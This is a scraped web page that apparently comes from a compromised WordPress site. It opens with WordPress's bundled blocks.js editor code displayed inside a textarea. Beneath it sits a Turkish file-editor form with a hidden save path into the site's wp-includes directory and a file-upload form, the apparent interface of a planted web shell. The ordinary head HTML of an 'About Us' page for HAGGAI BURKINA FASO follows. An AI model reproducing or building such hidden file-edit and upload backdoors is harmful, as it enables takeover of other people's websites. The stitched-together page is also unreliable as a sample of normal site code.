    return getBlockContentSchemaFromTransforms(getRawTransforms(), context);
  }
  function isPlain(HTML) {
    if (!/&lt;(?!br[ /&gt;])/i.test(HTML)) {
      return true;
    }
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = HTML;
    if (doc.body.children.length !== 1) {
      return false;
    }
    const wrapper = doc.body.children.item(0);
    const descendants = wrapper.getElementsByTagName(&quot;*&quot;);
    for (let i2 = 0; i2 &lt; descendants.length; i2++) {
      if (descendants.item(i2).tagName !== &quot;BR&quot;) {
        return false;
      }
    }
    if (wrapper.tagName !== &quot;SPAN&quot;) {
      return false;
    }
    return true;
  }
  function deepFilterNodeList(nodeList, filters, doc, schema) {
    Array.from(nodeList).forEach((node) =&gt; {
      deepFilterNodeList(node.childNodes, filters, doc, schema);
      filters.forEach((item) =&gt; {
        if (!doc.contains(node)) {
          return;
        }
        item(node, doc, schema);
      });
    });
  }
  function deepFilterHTML(HTML, filters = [], schema) {
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = HTML;
    deepFilterNodeList(doc.body.childNodes, filters, doc, schema);
    return doc.body.innerHTML;
  }
  function getSibling(node, which) {
    const sibling = node[`${which}Sibling`];
    if (sibling &amp;&amp; (0, import_dom6.isPhrasingContent)(sibling)) {
      return sibling;
    }
    const { parentNode } = node;
    if (!parentNode || !(0, import_dom6.isPhrasingContent)(parentNode)) {
      return;
    }
    return getSibling(parentNode, which);
  }

  // packages/blocks/build-module/api/raw-handling/paste-handler.mjs
  var import_dom11 = __toESM(require_dom(), 1);

  // packages/blocks/build-module/api/raw-handling/comment-remover.mjs
  var import_dom7 = __toESM(require_dom(), 1);
  function commentRemover(node) {
    if (node.nodeType === node.COMMENT_NODE) {
      (0, import_dom7.remove)(node);
    }
  }

  // packages/blocks/build-module/api/raw-handling/is-inline-content.mjs
  var import_dom8 = __toESM(require_dom(), 1);
  function isInline(node, contextTag) {
    if ((0, import_dom8.isTextContent)(node)) {
      return true;
    }
    if (!contextTag) {
      return false;
    }
    const tag = node.nodeName.toLowerCase();
    const inlineAllowedTagGroups = [
      [&quot;ul&quot;, &quot;li&quot;, &quot;ol&quot;],
      [&quot;h1&quot;, &quot;h2&quot;, &quot;h3&quot;, &quot;h4&quot;, &quot;h5&quot;, &quot;h6&quot;]
    ];
    return inlineAllowedTagGroups.some(
      (tagGroup) =&gt; [tag, contextTag].filter((t3) =&gt; !tagGroup.includes(t3)).length === 0
    );
  }
  function deepCheck(nodes, contextTag) {
    return nodes.every(
      (node) =&gt; isInline(node, contextTag) &amp;&amp; deepCheck(Array.from(node.children), contextTag)
    );
  }
  function isDoubleBR(node) {
    return node.nodeName === &quot;BR&quot; &amp;&amp; node.previousSibling &amp;&amp; node.previousSibling.nodeName === &quot;BR&quot;;
  }
  function isInlineContent(HTML, contextTag) {
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = HTML;
    const nodes = Array.from(doc.body.children);
    return !nodes.some(isDoubleBR) &amp;&amp; deepCheck(nodes, contextTag);
  }

  // packages/blocks/build-module/api/raw-handling/phrasing-content-reducer.mjs
  var import_dom9 = __toESM(require_dom(), 1);
  function phrasingContentReducer(node, doc) {
    if (node.nodeName === &quot;SPAN&quot; &amp;&amp; node.style) {
      const {
        fontWeight,
        fontStyle,
        textDecorationLine,
        textDecoration,
        verticalAlign
      } = node.style;
      if (fontWeight === &quot;bold&quot; || fontWeight === &quot;700&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;strong&quot;), node);
      }
      if (fontStyle === &quot;italic&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;em&quot;), node);
      }
      if (textDecorationLine === &quot;line-through&quot; || textDecoration.includes(&quot;line-through&quot;)) {
        (0, import_dom9.wrap)(doc.createElement(&quot;s&quot;), node);
      }
      if (verticalAlign === &quot;super&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;sup&quot;), node);
      } else if (verticalAlign === &quot;sub&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;sub&quot;), node);
      }
    } else if (node.nodeName === &quot;B&quot;) {
      node = (0, import_dom9.replaceTag)(node, &quot;strong&quot;);
    } else if (node.nodeName === &quot;I&quot;) {
      node = (0, import_dom9.replaceTag)(node, &quot;em&quot;);
    } else if (node.nodeName === &quot;A&quot;) {
      if (node.target &amp;&amp; node.target.toLowerCase() === &quot;_blank&quot;) {
        node.rel = &quot;noreferrer noopener&quot;;
      } else {
        node.removeAttribute(&quot;target&quot;);
        node.removeAttribute(&quot;rel&quot;);
      }
      if (node.name &amp;&amp; !node.id) {
        node.id = node.name;
      }
      if (node.id &amp;&amp; !node.ownerDocument.querySelector(`[href=&quot;#${node.id}&quot;]`)) {
        node.removeAttribute(&quot;id&quot;);
      }
    }
  }

  // packages/blocks/build-module/api/raw-handling/head-remover.mjs
  function headRemover(node) {
    if (node.nodeName !== &quot;SCRIPT&quot; &amp;&amp; node.nodeName !== &quot;NOSCRIPT&quot; &amp;&amp; node.nodeName !== &quot;TEMPLATE&quot; &amp;&amp; node.nodeName !== &quot;STYLE&quot;) {
      return;
    }
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/ms-list-ignore.mjs
  function msListIgnore(node) {
    if (node.nodeType !== node.ELEMENT_NODE) {
      return;
    }
    const style = node.getAttribute(&quot;style&quot;);
    if (!style || !style.includes(&quot;mso-list&quot;)) {
      return;
    }
    const rules = style.split(&quot;;&quot;).reduce((acc, rule) =&gt; {
      const [key, value] = rule.split(&quot;:&quot;);
      if (key &amp;&amp; value) {
        acc[key.trim().toLowerCase()] = value.trim().toLowerCase();
      }
      return acc;
    }, {});
    if (rules[&quot;mso-list&quot;] === &quot;ignore&quot;) {
      node.remove();
    }
  }

  // packages/blocks/build-module/api/raw-handling/ms-list-converter.mjs
  function isList2(node) {
    return node.nodeName === &quot;OL&quot; || node.nodeName === &quot;UL&quot;;
  }
  function msListConverter(node, doc) {
    if (node.nodeName !== &quot;P&quot;) {
      return;
    }
    const style = node.getAttribute(&quot;style&quot;);
    if (!style || !style.includes(&quot;mso-list&quot;)) {
      return;
    }
    const prevNode = node.previousElementSibling;
    if (!prevNode || !isList2(prevNode)) {
      const type = node.textContent.trim().slice(0, 1);
      const isNumeric = /[1iIaA]/.test(type);
      const newListNode = doc.createElement(isNumeric ? &quot;ol&quot; : &quot;ul&quot;);
      if (isNumeric) {
        newListNode.setAttribute(&quot;type&quot;, type);
      }
      node.parentNode.insertBefore(newListNode, node);
    }
    const listNode = node.previousElementSibling;
    const listType = listNode.nodeName;
    const listItem = doc.createElement(&quot;li&quot;);
    let receivingNode = listNode;
    listItem.innerHTML = deepFilterHTML(node.innerHTML, [msListIgnore]);
    const matches = /mso-list\s*:[^;]+level([0-9]+)/i.exec(style);
    let level = matches ? parseInt(matches[1], 10) - 1 || 0 : 0;
    while (level--) {
      receivingNode = receivingNode.lastChild || receivingNode;
      if (isList2(receivingNode)) {
        receivingNode = receivingNode.lastChild || receivingNode;
      }
    }
    if (!isList2(receivingNode)) {
      receivingNode = receivingNode.appendChild(
        doc.createElement(listType)
      );
    }
    receivingNode.appendChild(listItem);
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/image-corrector.mjs
  var import_blob = __toESM(require_blob(), 1);
  function imageCorrector(node) {
    if (node.nodeName !== &quot;IMG&quot;) {
      return;
    }
    if (node.src.indexOf(&quot;file:&quot;) === 0) {
      node.src = &quot;&quot;;
    }
    if (node.src.indexOf(&quot;data:&quot;) === 0) {
      const [properties, data] = node.src.split(&quot;,&quot;);
      const [type] = properties.slice(5).split(&quot;;&quot;);
      if (!data || !type) {
        node.src = &quot;&quot;;
        return;
      }
      let decoded;
      try {
        decoded = atob(data);
      } catch (e2) {
        node.src = &quot;&quot;;
        return;
      }
      const uint8Array = new Uint8Array(decoded.length);
      for (let i2 = 0; i2 &lt; uint8Array.length; i2++) {
        uint8Array[i2] = decoded.charCodeAt(i2);
      }
      const name = type.replace(&quot;/&quot;, &quot;.&quot;);
      const file = new window.File([uint8Array], name, { type });
      node.src = (0, import_blob.createBlobURL)(file);
    }
    if (node.height === 1 || node.width === 1) {
      node.parentNode.removeChild(node);
    }
  }

  // packages/blocks/build-module/api/raw-handling/div-normaliser.mjs
  function divNormaliser(node) {
    if (node.nodeName !== &quot;DIV&quot;) {
      return;
    }
    node.innerHTML = normaliseBlocks(node.innerHTML);
  }

  // packages/blocks/build-module/api/raw-handling/markdown-converter.mjs
  var import_showdown = __toESM(require_showdown(), 1);
  var converter = new import_showdown.default.Converter({
    noHeaderId: true,
    tables: true,
    literalMidWordUnderscores: true,
    omitExtraWLInCodeBlocks: true,
    simpleLineBreaks: true,
    strikethrough: true
  });
  function slackMarkdownVariantCorrector(text2) {
    return text2.replace(
      /((?:^|\n)```)([^\n`]+)(```(?:$|\n))/,
      (match, p1, p2, p3) =&gt; `${p1}
${p2}
${p3}`
    );
  }
  function bulletsToAsterisks(text2) {
    return text2.replace(/(^|\n)•( +)/g, &quot;$1*$2&quot;);
  }
  function markdownConverter(text2) {
    return converter.makeHtml(
      slackMarkdownVariantCorrector(bulletsToAsterisks(text2))
    );
  }

  // packages/blocks/build-module/api/raw-handling/iframe-remover.mjs
  function iframeRemover(node) {
    if (node.nodeName === &quot;IFRAME&quot;) {
      const text2 = node.ownerDocument.createTextNode(node.src);
      node.parentNode.replaceChild(text2, node);
    }
  }

  // packages/blocks/build-module/api/raw-handling/google-docs-uid-remover.mjs
  var import_dom10 = __toESM(require_dom(), 1);
  function googleDocsUIdRemover(node) {
    if (!node.id || node.id.indexOf(&quot;docs-internal-guid-&quot;) !== 0) {
      return;
    }
    if (node.tagName === &quot;B&quot;) {
      (0, import_dom10.unwrap)(node);
    } else {
      node.removeAttribute(&quot;id&quot;);
    }
  }

  // packages/blocks/build-module/api/raw-handling/html-formatting-remover.mjs
  function isFormattingSpace(character) {
    return character === &quot; &quot; || character === &quot;\r&quot; || character === &quot;\n&quot; || character === &quot;	&quot;;
  }
  function htmlFormattingRemover(node) {
    if (node.nodeType !== node.TEXT_NODE) {
      return;
    }
    let parent = node;
    while (parent = parent.parentNode) {
      if (parent.nodeType === parent.ELEMENT_NODE &amp;&amp; parent.nodeName === &quot;PRE&quot;) {
        return;
      }
    }
    let newData = node.data.replace(/[ \r\n\t]+/g, &quot; &quot;);
    if (newData[0] === &quot; &quot;) {
      const previousSibling = getSibling(node, &quot;previous&quot;);
      if (!previousSibling || previousSibling.nodeName === &quot;BR&quot; || previousSibling.textContent.slice(-1) === &quot; &quot;) {
        newData = newData.slice(1);
      }
    }
    if (newData[newData.length - 1] === &quot; &quot;) {
      const nextSibling = getSibling(node, &quot;next&quot;);
      if (!nextSibling || nextSibling.nodeName === &quot;BR&quot; || nextSibling.nodeType === nextSibling.TEXT_NODE &amp;&amp; isFormattingSpace(nextSibling.textContent[0])) {
        newData = newData.slice(0, -1);
      }
    }
    if (!newData) {
      node.parentNode.removeChild(node);
    } else {
      node.data = newData;
    }
  }

  // packages/blocks/build-module/api/raw-handling/br-remover.mjs
  function brRemover(node) {
    if (node.nodeName !== &quot;BR&quot;) {
      return;
    }
    if (getSibling(node, &quot;next&quot;)) {
      return;
    }
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/empty-paragraph-remover.mjs
  function emptyParagraphRemover(node) {
    if (node.nodeName !== &quot;P&quot;) {
      return;
    }
    if (node.hasChildNodes()) {
      return;
    }
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/slack-paragraph-corrector.mjs
  function slackParagraphCorrector(node) {
    if (node.nodeName !== &quot;SPAN&quot;) {
      return;
    }
    if (node.getAttribute(&quot;data-stringify-type&quot;) !== &quot;paragraph-break&quot;) {
      return;
    }
    const { parentNode } = node;
    parentNode.insertBefore(node.ownerDocument.createElement(&quot;br&quot;), node);
    parentNode.insertBefore(node.ownerDocument.createElement(&quot;br&quot;), node);
    parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/latex-to-math.mjs
  function isLatexMathMode(text2) {
    const lettersRegex = /[\p{L}\s]+/gu;
    let match;
    while (match = lettersRegex.exec(text2)) {
      if (text2[match.index - 1] === &quot;{&quot;) {
        continue;
      }
      let sequence = match[0];
      if (text2[match.index - 1] === &quot;\\&quot;) {
        sequence = sequence.replace(/^[a-zA-Z]+/, &quot;&quot;);
      }
      if (sequence.length &lt; 6) {
        continue;
      }
      return false;
    }
    if (/\\[a-zA-Z]+\s*\{/g.test(text2)) {
      return true;
    }
    const softClues = [
      (t3) =&gt; t3.includes(&quot;^&quot;) &amp;&amp; !t3.startsWith(&quot;^&quot;),
      (t3) =&gt; [&quot;=&quot;, &quot;+&quot;, &quot;-&quot;, &quot;/&quot;, &quot;*&quot;].some(
        (operator) =&gt; t3.includes(operator)
      ),
      (t3) =&gt; /\\[a-zA-Z]+/g.test(t3)
    ];
    if (softClues.filter((clue) =&gt; clue(text2)).length &gt;= 2) {
      return true;
    }
    return false;
  }

  // packages/blocks/build-module/api/raw-handling/heading-transformer.mjs
  function headingTransformer(node) {
    if (node.nodeType !== node.ELEMENT_NODE) {
      return;
    }
    if (node.tagName === &quot;P&quot; &amp;&amp; node.getAttribute(&quot;role&quot;) === &quot;heading&quot; &amp;&amp; node.hasAttribute(&quot;aria-level&quot;)) {
      const level = parseInt(node.getAttribute(&quot;aria-level&quot;), 10);
      if (level &gt;= 1 &amp;&amp; level &lt;= 6) {
        const headingTag = `H${level}`;
        const newHeading = node.ownerDocument.createElement(headingTag);
        Array.from(node.attributes).forEach((attr2) =&gt; {
          if (attr2.name !== &quot;role&quot; &amp;&amp; attr2.name !== &quot;aria-level&quot;) {
            newHeading.setAttribute(attr2.name, attr2.value);
          }
        });
        while (node.firstChild) {
          newHeading.appendChild(node.firstChild);
        }
        node.parentNode.replaceChild(newHeading, node);
      }
    }
  }

  // packages/blocks/build-module/api/raw-handling/paste-handler.mjs
  var log = (...args) =&gt; window?.console?.log?.(...args);
  function filterInlineHTML(HTML) {
    HTML = deepFilterHTML(HTML, [
      headRemover,
      googleDocsUIdRemover,
      msListIgnore,
      phrasingContentReducer,
      commentRemover
    ]);
    HTML = (0, import_dom11.removeInvalidHTML)(HTML, (0, import_dom11.getPhrasingContentSchema)(&quot;paste&quot;), {
      inline: true
    });
    HTML = deepFilterHTML(HTML, [htmlFormattingRemover, brRemover]);
    log(&quot;Processed inline HTML:\n\n&quot;, HTML);
    return HTML;
  }
  function pasteHandler({
    HTML = &quot;&quot;,
    plainText = &quot;&quot;,
    mode = &quot;AUTO&quot;,
    tagName
  }) {
    log(&quot;Received HTML (pasteHandler):\n\n&quot;, HTML);
    log(&quot;Received plain text (pasteHandler):\n\n&quot;, plainText);
    HTML = HTML.replace(/&lt;meta[^&gt;]+&gt;/g, &quot;&quot;);
    HTML = HTML.replace(
      /^\s*&lt;html[^&gt;]*&gt;\s*&lt;body[^&gt;]*&gt;(?:\s*&lt;!--\s*StartFragment\s*--&gt;)?/i,
      &quot;&quot;
    );
    HTML = HTML.replace(
      /(?:&lt;!--\s*EndFragment\s*--&gt;\s*)?&lt;\/body&gt;\s*&lt;\/html&gt;\s*$/i,
      &quot;&quot;
    );
    if (mode !== &quot;INLINE&quot;) {
      const content = HTML ? HTML : plainText;
      if (content.indexOf(&quot;&lt;!-- wp:&quot;) !== -1) {
        const parseResult = parse2(content);
        const isSingleFreeFormBlock = parseResult.length === 1 &amp;&amp; parseResult[0].name === &quot;core/freeform&quot;;
        if (!isSingleFreeFormBlock) {
          return parseResult;
        }
      }
    }
    if (String.prototype.normalize) {
      HTML = HTML.normalize();
    }
    HTML = deepFilterHTML(HTML, [slackParagraphCorrector]);
    const isPlainText = plainText &amp;&amp; (!HTML || isPlain(HTML));
    if (isPlainText &amp;&amp; isLatexMathMode(plainText)) {
      return [createBlock(&quot;core/math&quot;, { latex: plainText })];
    }
    if (isPlainText) {
      HTML = plainText;
      if (!/^\s+$/.test(plainText)) {
        HTML = markdownConverter(HTML);
      }
    }
    const pieces = shortcode_converter_default(HTML);
    const hasShortcodes = pieces.length &gt; 1;
    if (isPlainText &amp;&amp; !hasShortcodes) {
      if (mode === &quot;AUTO&quot; &amp;&amp; plainText.indexOf(&quot;\n&quot;) === -1 &amp;&amp; plainText.indexOf(&quot;&lt;p&gt;&quot;) !== 0 &amp;&amp; HTML.indexOf(&quot;&lt;p&gt;&quot;) === 0) {
        mode = &quot;INLINE&quot;;
      }
    }
    if (mode === &quot;INLINE&quot;) {
      return filterInlineHTML(HTML);
    }
    if (mode === &quot;AUTO&quot; &amp;&amp; !hasShortcodes &amp;&amp; isInlineContent(HTML, tagName)) {
      return filterInlineHTML(HTML);
    }
    const phrasingContentSchema = (0, import_dom11.getPhrasingContentSchema)(&quot;paste&quot;);
    const blockContentSchema = getBlockContentSchema(&quot;paste&quot;);
    const blocks = pieces.map((piece) =&gt; {
      if (typeof piece !== &quot;string&quot;) {
        return piece;
      }
      const filters = [
        googleDocsUIdRemover,
        msListConverter,
        headRemover,
        listReducer,
        imageCorrector,
        phrasingContentReducer,
        specialCommentConverter,
        commentRemover,
        iframeRemover,
        figureContentReducer,
        blockquoteNormaliser(),
        divNormaliser,
        headingTransformer
      ];
      const schema = {
        ...blockContentSchema,
        // Keep top-level phrasing content, normalised by `normaliseBlocks`.
        ...phrasingContentSchema
      };
      piece = deepFilterHTML(piece, filters, blockContentSchema);
      piece = (0, import_dom11.removeInvalidHTML)(piece, schema);
      piece = normaliseBlocks(piece);
      piece = deepFilterHTML(
        piece,
        [htmlFormattingRemover, brRemover, emptyParagraphRemover],
        blockContentSchema
      );
      log(&quot;Processed HTML piece:\n\n&quot;, piece);
      return htmlToBlocks(piece, pasteHandler);
    }).flat().filter(Boolean);
    if (mode === &quot;AUTO&quot; &amp;&amp; blocks.length === 1 &amp;&amp; hasBlockSupport(blocks[0].name, &quot;__unstablePasteTextInline&quot;, false)) {
      const trimRegex = /^[\n]+|[\n]+$/g;
      const trimmedPlainText = plainText.replace(trimRegex, &quot;&quot;);
      if (trimmedPlainText !== &quot;&quot; &amp;&amp; trimmedPlainText.indexOf(&quot;\n&quot;) === -1) {
        return (0, import_dom11.removeInvalidHTML)(
          getBlockInnerHTML(blocks[0]),
          phrasingContentSchema
        ).replace(trimRegex, &quot;&quot;);
      }
    }
    return blocks;
  }

  // packages/blocks/build-module/api/raw-handling/index.mjs
  function deprecatedGetPhrasingContentSchema(context) {
    (0, import_deprecated10.default)(&quot;wp.blocks.getPhrasingContentSchema&quot;, {
      since: &quot;5.6&quot;,
      alternative: &quot;wp.dom.getPhrasingContentSchema&quot;
    });
    return (0, import_dom12.getPhrasingContentSchema)(context);
  }
  function rawHandler({ HTML = &quot;&quot; }) {
    if (HTML.indexOf(&quot;&lt;!-- wp:&quot;) !== -1) {
      const parseResult = parse2(HTML);
      const isSingleFreeFormBlock = parseResult.length === 1 &amp;&amp; parseResult[0].name === &quot;core/freeform&quot;;
      if (!isSingleFreeFormBlock) {
        return parseResult;
      }
    }
    const pieces = shortcode_converter_default(HTML);
    const blockContentSchema = getBlockContentSchema();
    return pieces.map((piece) =&gt; {
      if (typeof piece !== &quot;string&quot;) {
        return piece;
      }
      const filters = [
        // Needed to adjust invalid lists.
        listReducer,
        // Needed to create more and nextpage blocks.
        specialCommentConverter,
        // Needed to create media blocks.
        figureContentReducer,
        // Needed to create the quote block, which cannot handle text
        // without wrapper paragraphs.
        blockquoteNormaliser({ raw: true })
      ];
      piece = deepFilterHTML(piece, filters, blockContentSchema);
      piece = normaliseBlocks(piece, { raw: true });
      return htmlToBlocks(piece, rawHandler);
    }).flat().filter(Boolean);
  }

  // packages/blocks/build-module/api/categories.mjs
  var import_data6 = __toESM(require_data(), 1);
  function getCategories2() {
    return (0, import_data6.select)(store).getCategories();
  }
  function setCategories2(categories2) {
    (0, import_data6.dispatch)(store).setCategories(categories2);
  }
  function updateCategory2(slug, category) {
    (0, import_data6.dispatch)(store).updateCategory(slug, category);
  }

  // packages/blocks/build-module/api/templates.mjs
  var import_element5 = __toESM(require_element(), 1);
  function doBlocksMatchTemplate(blocks = [], template = []) {
    return blocks.length === template.length &amp;&amp; template.every(([name, , innerBlocksTemplate], index) =&gt; {
      const block = blocks[index];
      return name === block.name &amp;&amp; doBlocksMatchTemplate(block.innerBlocks, innerBlocksTemplate);
    });
  }
  var isHTMLAttribute = (attributeDefinition) =&gt; attributeDefinition?.source === &quot;html&quot;;
  var isQueryAttribute = (attributeDefinition) =&gt; attributeDefinition?.source === &quot;query&quot;;
  function normalizeAttributes(schema, values) {
    if (!values) {
      return {};
    }
    return Object.fromEntries(
      Object.entries(values).map(([key, value]) =&gt; [
        key,
        normalizeAttribute(schema[key], value)
      ])
    );
  }
  function normalizeAttribute(definition, value) {
    if (isHTMLAttribute(definition) &amp;&amp; Array.isArray(value)) {
      return (0, import_element5.renderToString)(value);
    }
    if (isQueryAttribute(definition) &amp;&amp; value) {
      return value.map((subValues) =&gt; {
        return normalizeAttributes(definition.query, subValues);
      });
    }
    return value;
  }
  function synchronizeBlocksWithTemplate(blocks = [], template) {
    if (!template) {
      return blocks;
    }
    return template.map(
      ([name, attributes, innerBlocksTemplate], index) =&gt; {
        const block = blocks[index];
        if (block &amp;&amp; block.name === name) {
          const innerBlocks = synchronizeBlocksWithTemplate(
            block.innerBlocks,
            innerBlocksTemplate
          );
          return { ...block, innerBlocks };
        }
        const blockType = getBlockType(name);
        const normalizedAttributes = normalizeAttributes(
          blockType?.attributes ?? {},
          attributes
        );
        const [blockName, blockAttributes] = convertLegacyBlockNameAndAttributes(
          name,
          normalizedAttributes
        );
        return createBlock(
          blockName,
          blockAttributes,
          synchronizeBlocksWithTemplate([], innerBlocksTemplate)
        );
      }
    );
  }

  // packages/blocks/build-module/api/index.mjs
  var fieldsKey = /* @__PURE__ */ Symbol(&quot;fields&quot;);
  var formKey = /* @__PURE__ */ Symbol(&quot;form&quot;);
  var privateApis = {};
  lock(privateApis, {
    isContentBlock,
    fieldsKey,
    formKey,
    parseRawBlock
  });

  // packages/blocks/build-module/deprecated.mjs
  var import_deprecated11 = __toESM(require_deprecated(), 1);
  function withBlockContentContext(OriginalComponent) {
    (0, import_deprecated11.default)(&quot;wp.blocks.withBlockContentContext&quot;, {
      since: &quot;6.1&quot;
    });
    return OriginalComponent;
  }
  return __toCommonJS(index_exports);
})();
/*! Bundled license information:

react-is/cjs/react-is.development.js:
  (**
   * @license React
   * react-is.development.js
   *
   * Copyright (c) Facebook, Inc. and its affiliates.
   *
   * This source code is licensed under the MIT license found in the
   * LICENSE file in the root directory of this source tree.
   *)

showdown/dist/showdown.js:
  (*! showdown v 1.9.1 - 02-11-2019 *)

is-plain-object/dist/is-plain-object.mjs:
  (*!
   * is-plain-object &lt;https://github.com/jonschlinkert/is-plain-object&gt;
   *
   * Copyright (c) 2014-2017, Jon Schlinkert.
   * Released under the MIT License.
   *)
*/
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/website_d7f7f658/wp-includes/js/dist/blocks.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>About Us | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d0a5b1bf8a*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
